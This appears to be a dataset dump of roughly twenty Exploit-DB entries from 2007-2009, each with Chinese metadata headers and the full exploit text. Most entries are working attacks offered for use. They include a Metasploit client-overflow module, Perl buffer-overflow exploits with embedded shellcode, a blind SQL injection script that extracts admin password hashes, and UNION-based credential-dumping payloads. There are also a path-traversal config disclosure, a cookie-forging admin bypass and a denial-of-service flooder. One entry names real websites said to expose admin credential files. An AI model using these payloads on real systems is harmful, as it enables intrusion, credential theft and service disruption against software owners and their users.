QLWD/code_shield huggingface dataset:
标题: ProFTP 2.9 - Welcome Message Remote Buffer Overflow (Metasploit) EDB-ID: 9508 CVE: 2009-3976 类型: REMOTE 平台: WINDOWS 发布日期: 2009-08-25 漏洞利用脚本: # This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ProFTP 2.9 (welcome message) Remote Buffer Overflow Exploit',
   'Description'    => %q{
    This module exploits a buffer overflow in the ProFTP 2.9
    client that is triggered through an excessively long welcome message.
   },
   'Author'   => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     => 
    [ 
     [ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        => 
    [
    # Tested against- xp sp3 en OK.
     [ 'Universal',  { 'Ret' => 0x6809d408 } ], # WCMDPA10
    ],
   'Privileged'     => false,
   'DefaultTarget'  => 0))

  register_options(
   [ 
    OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil) 

  buffer =  "220 "
  buffer << rand_text_numeric(2064)
  buffer << [target.ret].pack('V')
  buffer << make_nops(20)
  buffer << payload.encoded
  buffer << "\r\n"
  client.put(buffer)
 end
 
end

# milw0rm.com [2009-08-25] URL: https://www.exploit-db.com/exploits/9508
标题: ITechBids 8.0 - 'ProductID' Blind SQL Injection EDB-ID: 9497 CVE: 2009-3968 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " \n";
print " ################## VIVA ISLAME VIVA ISLAME ####################\n";
print " ################## VIVA ISLAME VIVA ISLAME ####################\n";
print " ## ##\n";
print " ## ITechBids v8.0 Blind SQL Injection Exploit ##\n";
print " ## ##\n";
print " ## ( itechd.php productid ) ##\n";
print " ## http://itechbids.com/ ##\n";
print " ## ##\n";
print " ## Author: Mr.SQL -(:: SYRIAN HACKERS ::)- ##\n";
print " ## EMAIL : SQL(at)HOTMAIL.IT ##\n";
print " ## HOME : WwW.55a.NeT ##\n";
print " ## ##\n";
print " ## -((:: !GrE3E3E3E3E3ETZz! ::))- ##\n";
print " ## ##\n";
print " ## - HaCkEr_EGy - His0k4 - Dark MaSTer - MoHaMaD AL 3rab - ##\n";
print " ## - Milw0rM - Ghost Hacker - ##\n";
print " ## ##\n";
print " ## <<>> MuSliMs HaCkErS <<>> ##\n";
print " ## ##\n";
print " ## Usage : perl exploit.pl host ##\n";
print " ## Example: perl exploit.pl www.host.com / -d 10 ##\n";
print " ## ##\n";
print " ## Options: ##\n";
print " ## -d valid productid value ##\n";
print " ###############################################################\n";
print " ###############################################################\n";
exit;
}

my $host = $ARGV[0];
my $productid = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
$productid = $options{"u"};
}
if($options{"d"})
{
$productid = $options{"d"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
if(istrue2($host, $productid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$f)
{
$h = 97;
while(!$f && $h <= 122)
{
if(istrue2($host, $productid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}
print "\n[~] Exploiting done\n";
sub istrue2
{
my $host = shift;
my $productid = shift;
my $i = shift;
my $h = shift;
my $ua = LWP::UserAgent->new;
my $query = "http://".$host."itechd.php?productid=".$productid." and (SUBSTRING((SELECT password FROM admin LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
if($productid{"p"})
{
$ua->proxy('http', "http://".$productid{"p"});
}
my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "1&cat_a";
if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}

# ........
# others files :))

##############################################################
# http://www.Target.com/feedback.php?user_id=1 << and 1=0
# http://www.Target.com/category.php?cate_id=1 << and 1=0
# http://www.Target.com/classifieds.php?productid=1 << and 1=0
# http://www.Target.com/sellers_othersitem.php?seller_id=1 << and 1=0
# http://www.Target.com/feedback.php?user_id=1 << and 1=0
# http://www.Target.com/category.php?cate_id=1 << and 1=0
# http://www.Target.com/news.php?id=1 << and 1=0
# http://www.Target.com/shop.php?id=1 << and 1=0
##############################################################

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9497
标题: New5starRating 1.0 - 'rating.php' SQL Injection EDB-ID: 9499 CVE: 2009-3965 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: New5starRating v1.0 (rating.php) Sql Inj. Vuln.
##################
Yazar: Bgh7
Turk Bilisim Gucleri
##################
Download;
http://www.maniacomputer.com/5star_rating/New_5Star.html
Bug-->Sql Inj.
##################
Exp: rating.php?det=-1 union select userid,0,0,userpass from admin
Panel: /admin/
##################
Thanks: milw0rm-->Str0ke

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9499
标题: Lanai Core 0.6 - Remote File Disclosure / Info Disclosure EDB-ID: 9490 CVE: 2009-4961 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: #####################################################################################
####              Lanai Core v 0.6  Remote File Disclosure / IG                  ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://IrCrash.com                                                      #
#My Official WebSite : http://R3dW0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://garr.dl.sourceforge.net/project/lanai/Lanai%20Core/Core%206/lanai-core_v0.6.zip
#                                                                                   #
#####################################################################################
#                                      [IG]                                         #
#                                                                                   #                                       
#http://[site]/[path]/info.php                                                      #
#                                                                                   #
#####################################################################################
#                            [Remote File Disclosure]                               #
#                                                                                   #
#http://[site]/[path]/modules/backup/download.php?f=../config.inc.php               #
#                                                                                   #
###################################### TNX GOD ######################################

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9490
标题: Faslo Player 7.0 - '.m3u' Local Buffer Overflow (PoC) EDB-ID: 9487 CVE: 2009-3969 类型: DOS 平台: WINDOWS 发布日期: 2009-08-24 漏洞利用脚本: #!/usr/bin/perl
# Found By :: HACK4LOVE
# hack4love@hotmail.com
# Faslo Player 7.0 (.m3u) Local Buffer Overflow PoC
# http://www.rspq.org/faslo/fs7setup.exe
############################################################
##EAX 41414141
##ECX 004A7CB0 faslow.004A7CB0
##EDX 00145920
##EBX 00000000
##ESP 0012F5B0
##EBP 0012FC84
##ESI 003F9BC9
##EDI 003F9BC9
##EIP 73DD526E MFC42.73DD526E
#############################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
##############################################################

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9487
标题: Fat Player 0.6b - '.wav' Universal Local Buffer EDB-ID: 9495 CVE: 2009-4962 类型: LOCAL 平台: WINDOWS 发布日期: 2009-08-24 漏洞利用脚本: #!/usr/bin/perl
# by ahwak2000
# email: 0.w[at]w.cn
#Tested on Windows XP SP3 (English)
# Fat Player 0.6b(wav) Universal Local Buffer Exploit
#http://sourceforge.net/projects/fatplayer/
###################################################################
my $shellcode=
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49".
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56".
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41".
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42".
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a".
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47".
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c".
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a".
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46".
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45".
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c".
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c".
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44".
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c".
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46".
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50".
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44".
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45".
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43".
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b".
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43".
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41";
###################################################################
my $overflow="\x41" x 4124;
my $sh= "\xEB\x09\x90\x90";#short jump
my $jmp="\x1F\x22\x44\x00";# Universal  -- 004422    .  FFE4               JMP ESP
my $nop="\x90" x 20;
###################################################################
open(myfile,'>> ahwak2000.wav');
print myfile $overflow.$sh.$jmp.$nop.$shellcode;
###################################################################

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9495
标题: Uebimiau Webmail 3.2.0-2.0 - Arbitrary Database Disclosure EDB-ID: 9493 CVE: 2009-3199 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: ##################################################
[+]Script Name : Uebimiau Webmail v3.2.0-2.0
[+]Bug Type : Arbitrary Admins Database Disclosure Vulnerability
[+]D0rk : "Uebimiau Webmail v3.2.0-2.0"
[+]Author : Septemb0x
[+]Greetz : BHDR & BARCOD3 & MUHADRAM  - Thanks : www.gonulerleri.org
[+]Note :  TÃ¼m MÃ¼slÃ¼man CamiasÄ±na HayÄ±rlÄ± Ramazanlar Dilerim...
##################################################
[+]Examples :
 
1.  http://ifcacareer.com/mail/inc/database/system_admin/admin.ucf
2.  http://krunt.org/webmail/inc/database/system_admin/admin.ucf
3.  http://www.hostsalive.com/webmail/inc/database/system_admin/admin.ucf
##################################################
[+]EXPLOIT ; http://[Target]/[path]/inc/database/system_admin/admin.ucf
[+]GET ; username:password(md5)
[+]LOGIN ; http://[Target]/[path]/admin/login.php
##################################################

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9493
标题: Cuteflow 2.10.3 - 'edituser.php' Security Bypass EDB-ID: 9485 CVE: 2009-2960 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: It's possible edit the users (including the admin account), 
bypassing the authentication through the address:
http://localhost/cuteflow/pages/edituser.php?userid=1&language=pt&sortby=st rLastName&sortdir=ASC&start=1

The vulnerability is caused due to the application not properly 
restricting access to the pages/edituser.php script. This can be 
exploited to modify a user's username and password without having 
proper credentials.

Hever Costa Rocha

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9485
标题: KSP 2006 FINAL - '.m3u' Universal Local Buffer (SEH) EDB-ID: 9486 CVE: 2009-4964 类型: LOCAL 平台: WINDOWS 发布日期: 2009-08-24 漏洞利用脚本: #!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# KSP 2006 FINAL ( .M3U) Universal Local Buffer Exploit (SEH)
# http://download.cnet.com/KSP/3000-2139_4-10540099.html?tag=mncol
# ## easy #### this work sooooooooo good############################
####################################################################
# USE>>KSP>>PLAYLIST>>LOAD>>HACK4LOVE.M3U>> >BOOM CALC
####################################################################
# INFO::WE HAVE ONLEY 192 BIT FOR shellcode SO I USE
## win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub
#####################################################################
###HAPEY _________RAMADAN############################################
#####################################################################
my $bof="\x41" x 2385;
my $nsh="\xEB\x06\x90\x90";
my $seh="\x38\x01\x6e\x74";#### Universal
my $nop="\x90" x 20;
my $sec=
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc2".
"\xf8\x23\x02\x83\xeb\xfc\xe2\xf4\x3e\x10\x67\x02\xc2\xf8\xa8\x47".
"\xfe\x73\x5f\x07\xba\xf9\xcc\x89\x8d\xe0\xa8\x5d\xe2\xf9\xc8\x4b".
"\x49\xcc\xa8\x03\x2c\xc9\xe3\x9b\x6e\x7c\xe3\x76\xc5\x39\xe9\x0f".
"\xc3\x3a\xc8\xf6\xf9\xac\x07\x06\xb7\x1d\xa8\x5d\xe6\xf9\xc8\x64".
"\x49\xf4\x68\x89\x9d\xe4\x22\xe9\x49\xe4\xa8\x03\x29\x71\x7f\x26".
"\xc6\x3b\x12\xc2\xa6\x73\x63\x32\x47\x38\x5b\x0e\x49\xb8\x2f\x89".
"\xb2\xe4\x8e\x89\xaa\xf0\xc8\x0b\x49\x78\x93\x02\xc2\xf8\xa8\x6a".
"\xfe\xa7\x12\xf4\xa2\xae\xaa\xfa\x41\x38\x58\x52\xaa\x08\xa9\x06".
"\x9d\x90\xbb\xfc\x48\xf6\x74\xfd\x25\x9b\x42\x6e\xa1\xf8\x23\x02";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.M3U');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9486
标题: PHP Dir Submit - 'aid' SQL Injection EDB-ID: 9484 CVE: 2009-3970 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: ======================================================================
[Â»] Script : PHP Dir Submit Version 1.00 (aid) Remote SQL Injection Vuln

[Â»] Language : php

[Â»] Dork : Powered by PHP Dir Submit - Directory Submission Script  

[Â»] Script site : http://www.phpdirsubmit.com

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------
u must be registered in site

step1:
go to : 
-------
www.xxx.com/path/index.php?menu=signup
-------
step2:
after that : 
-------
add post from here

www.xxx.com/index.php?menu=articles
-------
step3:
press on "View Article" 
and start to inject


http://www.xxx.com/path/index.php?menu=showarticle&aid=3+and+1=0/**/union/**/select/**/1,version(),3,4,user(),database(),7,8,9,10,11--

--------
demo:
--------
http://demo.phpdirsubmit.com
--------

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9484
标题: Arcade Trade Script 1.0b - (Authentication Bypass) Insecure Cookie Handling EDB-ID: 9482 CVE: 2009-3966 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: ======================================================================
[Â»] Script : Arcade Trade Script v.1.0 Insecure Cookie Handling Vuln

[Â»] Language : php  

[Â»] Script site : http://www.arcadetradescript.com

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------

javascript:document.cookie="adminLoggedIn=true;path=/";

--------
demo:
--------

http://www.arcadetradescript.com/demo/admin/
--------

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9482
标题: Moa Gallery 1.1.0 - 'gallery_id' SQL Injection EDB-ID: 9481 CVE: 2009-3975 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: ======================================================================
[Â»] Script : Moa gallery 1.1.0 (gallery_id) Remote Sql injection vuln

[Â»] Language : php  

[Â»] Download : http://sourceforge.net/projects/moagallery/

[Â»] Script site : http://www.moagallery.net/

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------

http://www.xxx.com/path/index.php?action=gallery_view&gallery_id=-0000000009+union+select+concat(name,char(58),password)+from+moa_users--

--------
demo:
--------

http://www.moagallery.net/demo/index.php?action=gallery_view&gallery_id=-0000000609+union+select+concat%28name,char%2858%29,password%29+from+moa_users--

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9481
标题: GDivX Zenith Player AviFixer Class - 'fix.dll 1.0.0.1' Buffer Overflow (PoC) EDB-ID: 9480 CVE: 2009-3967 类型: DOS 平台: WINDOWS 发布日期: 2007-05-09 漏洞利用脚本: <html>
 <object classid='clsid:2225E9BC-AFB3-4ED4-B20E-4F6CF1C39F8B' id='target'></object>
  <script language = 'vbscript'>
   ' IE 6 / GDivX Zenith Player AviFixer Class (fix.dll v. 1.0.0.1) buffer overflow POC by rgod
   ' tested on xp sp2
   EIP= "BBBB"
   BOF=String(264, "A") + EIP + String(9999, unescape("%90"))
   target.SetInputFile BOF
 </script>
</html>

# milw0rm.com [2007-05-09] URL: https://www.exploit-db.com/exploits/9480
标题: Linux Kernel 2.x (Android) - 'sock_sendpage()' Local Privilege Escalation EDB-ID: 9477 CVE: 2009-2692 类型: LOCAL 平台: ANDROID 发布日期: 2009-08-18 漏洞利用脚本: Source for exploiting CVE-2009-2692 on Android; Hole is closed in Android kernels released August 2009 or later.

http://zenthought.org/content/file/android-root-2009-08-16-source
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9477.tar.gz (android-root-20090816.tar.gz)

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9477
标题: BugHunter HTTP Server 1.6.2 - 'httpsv.exe' GET 404 Remote Denial of Service EDB-ID: 9478 CVE: 2007-3340 类型: DOS 平台: WINDOWS 发布日期: 2007-06-21 漏洞利用脚本: #!/usr/bin/perl
#GetOpt STD module
use IO::Socket;
use Getopt::Std;
getopts(":i:p:",\%args);
if(defined $args{i}){
$ip = $args{i};
}
if(defined $args{p}){
$port = $args{p};
}
if(!defined $args{i} or !defined $args{p}){
print "-----------------------------------------------------\n";
print "HTTP SERVER (httpsv1.6.2) 404 Denial of Services\n";
print "Site: http://httpsv.sourceforge.net/\n ";
print "Info: If u send to the server between 40-1000 requests\n";
print "to nonexisting pages the process will die.\n";
print "Found By Prili - imprili[at]gmail.com\n";
print "Usage: perl $0 -i <ip address> -p <port> \n";
print "Thanks to shinnai for the inspiration.\n";
print "-----------------------------------------------------\n";
exit;
}
$protocol = "tcp";
while ($i<=1000)
{
$request = "GET /AAAAAAA HTTP/1.0 \n\n";
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                               PeerPort=>$port,
                               Proto=>$protocol,
                               Timeout=>'1') || die "Can't connect to address!\n";
                               
print "sending request number $i...\n";
print $socket $request;
close($socket);
$i++;
}

# milw0rm.com [2007-06-21] URL: https://www.exploit-db.com/exploits/9478
标题: PHP Email Manager - 'remove.php?ID' SQL Injection EDB-ID: 9470 CVE: 2009-3209 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-18 漏洞利用脚本: ===========================================|->
      ~ Mtrb3 hena [Security-Code] ~
===========================================|->

script :-> PHP Email Manager  < Remote SQL Injection Vulnerability >

Downlode:->http://webscripts.softpedia.com/script/Mailing-List-Managers/PHP-eMail-Manager-30652.html

Dork:->PHPEmailManager

Found by :-> [ MuShTaQ ]

from :-> [WwW.SeC-CoDe.com]

C0ntact :a7m@mail.com

===========================================|->
              ~  Exploit ~
===========================================|->

File :-> http//www.site.com/PHPEmailManager/remove.php?ID=[SQL]

Exploit:-> http://www.site.com/PHPEmailManager/remove.php?ID=-1+union+select+1,concat%28Email,0x3a,PasswordHash%29,3,4,5,6,7,8,9,10,11+from+php_email_man_Users--

Admin Login:-> http//www.site.com/PHPEmailManager/login.php


-:::::::::::::::::: GreeetZ:::::::::::::::::-

Sniper.vb , Mr.Nrfzh,and all friends

Bay Bay

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9470
标题: KOL Player 1.0 - '.mp3' Local Buffer Overflow (PoC) EDB-ID: 9467 CVE: 2009-2961 类型: DOS 平台: WINDOWS 发布日期: 2009-08-18 漏洞利用脚本: #!/usr/bin/perl
# KOL Player 1.0 (.mp3) Local Buffer Overflow PoC
# http://thaddy.co.uk/kolacmwaveplayer.zip
########################################################################################
# 0012F920  |00168370  ASCII "AAAA"
# 0012F924  |41410004
# 0012F928  |41414141
# 0012F92C  |41414141
# 0012F930  |41414141
# 0012F934  |41414141
# 0012F938  |41414141
# 0012F93C  |41414141
# 0012F940  |41414141
# 0012F944  |41414141
# 0012F948  |41414141
########################################################################################
my $crash="http://"."\x41" x 3200;
open(myfile,'>>evil.mp3');
print myfile $crash;
######################################################################################## 

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9467
标题: CBAuthority - ClickBank Affiliate Management SQL Injection EDB-ID: 9471 CVE: 2009-3205 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-18 漏洞利用脚本: (o)===========================================================================================(o)

                 -:-          CBAuthority - ClickBank Affiliate Management SQL Injection Vulnerability       -:-


            Vendor : http://www.cbauthority.com/
            Author  : Angela Chang
            Contact : angel@ch4ng.cc
            Date     : 17 august 2009

(o)===========================================================================================(o)


Dork   :
   
       Powered by CBAuthority


Vulnerabilities   :

      http://localhost/path/main.php?command=view_product&id=-1 UNION SELECT 0,concat_ws(0x7c,username,password,email),2,3,4,5,6,7,8,9,10,11,12,13 from clickbank_admin--



Demo  :


      http://www.cbauthority.com/demo/main.php?command=view_product&id=-18 UNION SELECT 0,concat_ws(0x7c,username,password,email),2,3,4,5,6,7,8,9,10,11,12,13 from clickbank_admin--




(o)===========================================================================================(o)

Greetz   :   -:-  SkyCreW  -:-

     Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf ,   home_edition2001   ,   str0ke


(o)===========================================================================================(o)

# milw0rm.com [2009-08-18] URL: https://www.exploit-db.com/exploits/9471